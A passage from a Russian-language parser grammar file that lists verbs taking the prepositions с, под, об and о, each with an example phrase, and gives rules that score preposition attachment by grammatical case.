// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
